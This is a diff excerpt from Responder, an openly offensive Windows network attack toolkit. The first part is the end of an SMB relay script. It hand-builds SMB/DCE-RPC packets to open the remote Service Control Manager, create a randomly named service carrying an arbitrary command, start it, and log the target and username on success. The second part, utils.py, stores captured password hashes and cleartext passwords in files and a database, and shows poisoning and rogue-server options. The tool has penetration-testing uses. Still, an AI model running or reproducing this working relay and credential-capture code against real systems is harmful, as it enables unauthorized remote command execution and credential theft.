+    if data[8:10] == "\xa2\x00":
+        head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+        x = SMBDCEData()
+        x.calculate()
+        f = data[42:44]
+        t = SMBWriteData(FID=f,Data=x)
+        t.calculate()
+        packet0 = str(head)+str(t)
+        buffer1 = longueur(packet0)+packet0
+        s.send(buffer1)
+        data = s.recv(2048)
+        ## DCE/RPC Read.
+        if data[8:10] == "\x2f\x00":
+            head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+            t = SMBReadData(FID=f)
+            t.calculate()
+            packet0 = str(head)+str(t)
+            buffer1 = longueur(packet0)+packet0
+            s.send(buffer1)
+            data = s.recv(2048)
+            ## DCE/RPC SVCCTLOpenManagerW.
+            if data[8:10] == "\x2e\x00":
+                head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+                w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")
+                w.calculate()
+                x = SMBDCEPacketData(Data=w)
+                x.calculate()
+                t = SMBWriteData(FID=f,Data=x)
+                t.calculate()
+                packet0 = str(head)+str(t)
+                buffer1 = longueur(packet0)+packet0
+                s.send(buffer1)
+                data = s.recv(2048)
+                ## DCE/RPC Read Answer.
+                if data[8:10] == "\x2f\x00":
+                    head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+                    t = SMBReadData(FID=f)
+                    t.calculate()
+                    packet0 = str(head)+str(t)
+                    buffer1 = longueur(packet0)+packet0
+                    s.send(buffer1)
+                    data = s.recv(2048)
+                    ## DCE/RPC SVCCTLCreateService.
+                    if data[8:10] == "\x2e\x00":
+                        if data[len(data)-4:] == "\x05\x00\x00\x00":
+                            print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?"
+                        print "[+] Creating service"
+                        head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+                        ContextHandler = data[88:108]
+                        ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
+                        ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
+                        FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
+                        w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD)
+                        w.calculate()
+                        x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
+                        x.calculate()
+                        t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
+                        t.calculate()
+                        packet0 = str(head)+str(t)
+                        buffer1 = longueur(packet0)+packet0
+                        s.send(buffer1)
+                        data = s.recv(2048)
+                        ## DCE/RPC Read Answer.
+                        if data[8:10] == "\x2f\x00":
+                            head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+                            t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
+                            t.calculate()
+                            packet0 = str(head)+str(t)
+                            buffer1 = longueur(packet0)+packet0
+                            s.send(buffer1)
+                            data = s.recv(2048)
+                            ## DCE/RPC SVCCTLOpenService.
+                            if data[8:10] == "\x2e\x00":
+                                if data[len(data)-4:] == "\x05\x00\x00\x00":
+                                    print "[+] Failed to create the service"
+
+                                head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+                                w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
+                                w.calculate()
+                                x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
+                                x.calculate()
+                                t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
+                                t.calculate()
+                                packet0 = str(head)+str(t)
+                                buffer1 = longueur(packet0)+packet0
+                                s.send(buffer1)
+                                data = s.recv(2048)
+                                ## DCE/RPC Read Answer.
+                                if data[8:10] == "\x2f\x00":
+                                    head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+                                    t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
+                                    t.calculate()
+                                    packet0 = str(head)+str(t)
+                                    buffer1 = longueur(packet0)+packet0
+                                    s.send(buffer1)
+                                    data = s.recv(2048)
+                                    ## DCE/RPC SVCCTLStartService.
+                                    if data[8:10] == "\x2e\x00":
+                                        if data[len(data)-4:] == "\x05\x00\x00\x00":
+                                            print "[+] Failed to open the service"
+                                        ContextHandler = data[88:108]
+                                        head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+                                        w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
+                                        x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
+                                        x.calculate()
+                                        t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
+                                        t.calculate()
+                                        packet0 = str(head)+str(t)
+                                        buffer1 = longueur(packet0)+packet0
+                                        s.send(buffer1)
+                                        data = s.recv(2048)
+                                        ## DCE/RPC Read Answer.
+                                        if data[8:10] == "\x2f\x00":
+                                            head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+                                            t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
+                                            t.calculate()
+                                            packet0 = str(head)+str(t)
+                                            buffer1 = longueur(packet0)+packet0
+                                            s.send(buffer1)
+                                            data = s.recv(2048)
+                                            if data[8:10] == "\x2e\x00":
+                                                print "[+] Command successful !"
+                                                Logs.info('Command successful:')
+                                                Logs.info(Target+","+Username+','+CMD)
+                                                return True
+                                            if data[8:10] != "\x2e\x00":
+                                                return False
+
+
+def RunInloop(Target,Command,Domain):
+    try:
+        while True:
+            worker = RunRelay(Target,Command,Domain)
+    except:
+        raise
+
+
+def main():
+    try:
+        thread.start_new(RunInloop,(Target,Command,Domain))
+    except KeyboardInterrupt:
+        exit()
+
+if __name__ == '__main__':
+    try:
+        main()
+    except KeyboardInterrupt:
+        raise
+    raw_input()

utils.py

@@ -0,0 +1,358 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import os
+import sys
+import re
+import logging
+import socket
+import time
+import settings
+
+try:
+	import sqlite3
+except:
+	print "[!] Please install python-sqlite3 extension."
+	sys.exit(0)
+
+def color(txt, code = 1, modifier = 0):
+
+	if txt.startswith('[*]'):
+		settings.Config.PoisonersLogger.warning(txt)
+	
+	elif 'Analyze' in txt:
+		settings.Config.AnalyzeLogger.warning(txt)
+
+	# No colors for windows...
+	if os.name == 'nt':
+		return txt
+
+	return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
+
+def text(txt):
+	logging.info(txt)
+
+	if os.name == 'nt':
+		return txt
+
+	return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
+
+def RespondToThisIP(ClientIp):
+
+	if ClientIp.startswith('127.0.0.'):
+		return False
+
+	if len(settings.Config.RespondTo) and ClientIp not in settings.Config.RespondTo:
+		return False
+
+	if ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
+		if ClientIp not in settings.Config.DontRespondTo:
+			return True
+
+	return False
+
+def RespondToThisName(Name):
+
+	if len(settings.Config.RespondToName) and Name.upper() not in settings.Config.RespondToName:
+		return False
+
+	if Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
+		if Name.upper() not in settings.Config.DontRespondToName:
+			return True
+
+	return False
+
+def RespondToThisHost(ClientIp, Name):
+	return (RespondToThisIP(ClientIp) and RespondToThisName(Name))
+
+def IsOsX():
+	return True if settings.Config.Os_version == "darwin" else False
+
+def OsInterfaceIsSupported():
+	if settings.Config.Interface != "Not set":
+		return False if IsOsX() else True
+	else:
+		return False
+
+def FindLocalIP(Iface):
+
+	if Iface == 'ALL':
+		return '0.0.0.0'
+
+	try:
+		s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+		s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0')
+		s.connect(("127.0.0.1",9))#RFC 863
+		ret = s.getsockname()[0]
+		s.close()
+
+		return ret
+
+	except socket.error:
+		print color("[!] Error: %s: Interface not found" % Iface, 1)
+		sys.exit(-1)
+
+# Function used to write captured hashs to a file.
+def WriteData(outfile, data, user):
+
+	logging.info("[*] Captured Hash: %s" % data)
+
+	if os.path.isfile(outfile) == False:
+		with open(outfile,"w") as outf:
+			outf.write(data)
+			outf.write("\n")
+			outf.close()
+
+	else:
+		with open(outfile,"r") as filestr:
+			if re.search(user.encode('hex'), filestr.read().encode('hex')):
+				filestr.close()
+				return False
+			if re.search(re.escape("$"), user):
+				filestr.close()
+				return False
+
+		with open(outfile,"a") as outf2:
+			outf2.write(data)
+			outf2.write("\n")
+			outf2.close()
+
+def SaveToDb(result):
+
+	# Creating the DB if it doesn't exist
+	if not os.path.exists(settings.Config.DatabaseFile):
+		cursor = sqlite3.connect(settings.Config.DatabaseFile)
+		cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))')
+		cursor.commit()
+		cursor.close()
+
+	for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
+		if not k in result:
+			result[k] = ''
+
+	if len(result['user']) < 2:
+		return
+
+	if len(result['cleartext']):
+		fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
+	else:
+		fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
+	
+	timestamp = time.strftime("%d-%m-%Y %H:%M:%S")
+	logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
+
+	cursor = sqlite3.connect(settings.Config.DatabaseFile)
+	res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user']))
+	(count,) = res.fetchone()
+
+	if count == 0:
+		
+		# Write JtR-style hash string to file
+		with open(logfile,"a") as outf:
+			outf.write(result['fullhash'])
+			outf.write("\n")
+			outf.close()
+
+		# Update database
+		cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
+		cursor.commit()
+
+	cursor.close()
+
+	# Print output
+	if count == 0 or settings.Config.Verbose:
+
+		if len(result['client']):
+			print text("[%s] %s Client   : %s" % (result['module'], result['type'], color(result['client'], 3)))
+		if len(result['hostname']):
+			print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3)))
+		if len(result['user']):
+			print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3)))
+		
+		# Bu order of priority, print cleartext, fullhash, or hash
+		if len(result['cleartext']):
+			print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3)))
+		elif len(result['fullhash']):
+			print text("[%s] %s Hash     : %s" % (result['module'], result['type'], color(result['fullhash'], 3)))
+		elif len(result['hash']):
+			print text("[%s] %s Hash     : %s" % (result['module'], result['type'], color(result['hash'], 3)))
+			
+	else:
+		print color('[*]', 2, 1), 'Skipping previously captured hash for %s' % result['user']
+
+
+def Parse_IPV6_Addr(data):
+
+	if data[len(data)-4:len(data)][1] =="\x1c":
+		return False
+
+	elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
+		return True
+
+	elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
+		return True
+
+	else:
+		return False
+
+def Decode_Name(nbname):
+	#From http://code.google.com/p/dpkt/ with author's permission.
+	try:
+		from string import printable
+
+		if len(nbname) != 32:
+			return nbname
+		
+		l = []
+		for i in range(0, 32, 2):
+			l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf)))
+		
+		return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
+	
+	except:
+		return "Illegal NetBIOS name"
+
+def NBT_NS_Role(data):
+	Role = {
+		"\x41\x41\x00":"Workstation/Redirector",
+		"\x42\x4c\x00":"Domain Master Browser",
+		"\x42\x4d\x00":"Domain Controller",
+		"\x42\x4e\x00":"Local Master Browser",
+		"\x42\x4f\x00":"Browser Election",
+		"\x43\x41\x00":"File Server",
+		"\x41\x42\x00":"Browser",
+	}
+
+	return Role[data] if data in Role else "Service not known"
+
+def banner():
+
+	banner = "\n".join([
+		'                                         __',
+		'  .----.-----.-----.-----.-----.-----.--|  |.-----.----.',
+		'  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|',
+		'  |__| |_____|_____|   __|_____|__|__|_____||_____|__|',
+		'                   |__|'
+	])
+
+	print banner
+	print "\n           \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__
+	print ""
+	print "  Original work by Laurent Gaffie (lgaffie@trustwave.com)"
+	print "  To kill this script hit CRTL-C"
+	print ""
+
+def StartupMessage():
+	enabled  = color('[ON]', 2, 1) 
+	disabled = color('[OFF]', 1, 1)
+
+	print ""
+	print color("[+] ", 2, 1) + "Poisoners:"
+	print '    %-27s' % "LLMNR" + enabled
+	print '    %-27s' % "NBT-NS" + enabled
+	print '    %-27s' % "DNS/MDNS" + enabled
+	print ""
+
+	print color("[+] ", 2, 1) + "Servers:"
+	print '    %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled)
+	print '    %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled)
+	print '    %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled)
+	print '    %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled)
+	print '    %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled)
+	print '    %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled)
+	print '    %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled)
+	print '    %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled)
+	print '    %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled)
+	print '    %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)
+	print '    %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)
+	print '    %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)
+	print ""
+
+	print color("[+] ", 2, 1) + "HTTP Options:"
+	print '    %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled)
+	print '    %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled)
+	print '    %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled)
+	print '    %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled)
+	#print '    %-27s' % "WPAD script" + settings.Config.WPAD_Script
+	print ""
+
+	print color("[+] ", 2, 1) + "Poisoning Options:"
+	print '    %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled)
+	print '    %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled)
+	print '    %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)
+	print '    %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)
+	print '    %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)
+	print ""
+
+	print color("[+] ", 2, 1) + "Generic Options:"
+	print '    %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1)
+	print '    %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1)
+	print '    %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1)
+
+	if settings.Config.Upstream_Proxy:
+		print '    %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)
+
+	if len(settings.Config.RespondTo):
+		print '    %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)
+
+	if len(settings.Config.RespondToName):
+		print '    %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)
+
+	if len(settings.Config.DontRespondTo):
+		print '    %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)
+
+	if len(settings.Config.DontRespondToName):
+		print '    %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
+
+	print ""
+	print ""
+
+# Useful for debugging
+def hexdump(src, l=0x16):
+	res = []
+	sep = '.'
+	src = str(src)
+
+	for i in range(0, len(src), l):
+		s = src[i:i+l]
+		hexa = ''
+
+		for h in range(0,len(s)):
+			if h == l/2:
+				hexa += ' '
+			h = s[h]
+			if not isinstance(h, int):
+				h = ord(h)
+			h = hex(h).replace('0x','')
+			if len(h) == 1:
+				h = '0'+h
+			hexa += h + ' '
+
+		hexa = hexa.strip(' ')
+		text = ''
+
+		for c in s:
+			if not isinstance(c, int):
+				c = ord(c)
+
+			if 0x20 <= c < 0x7F:
+				text += chr(c)
+			else:
+				text += sep
+
+		res.append(('%08X:  %-'+str(l*(2+1)+1)+'s  |%s|') % (i, hexa, text))
+
+	return '\n'.join(res)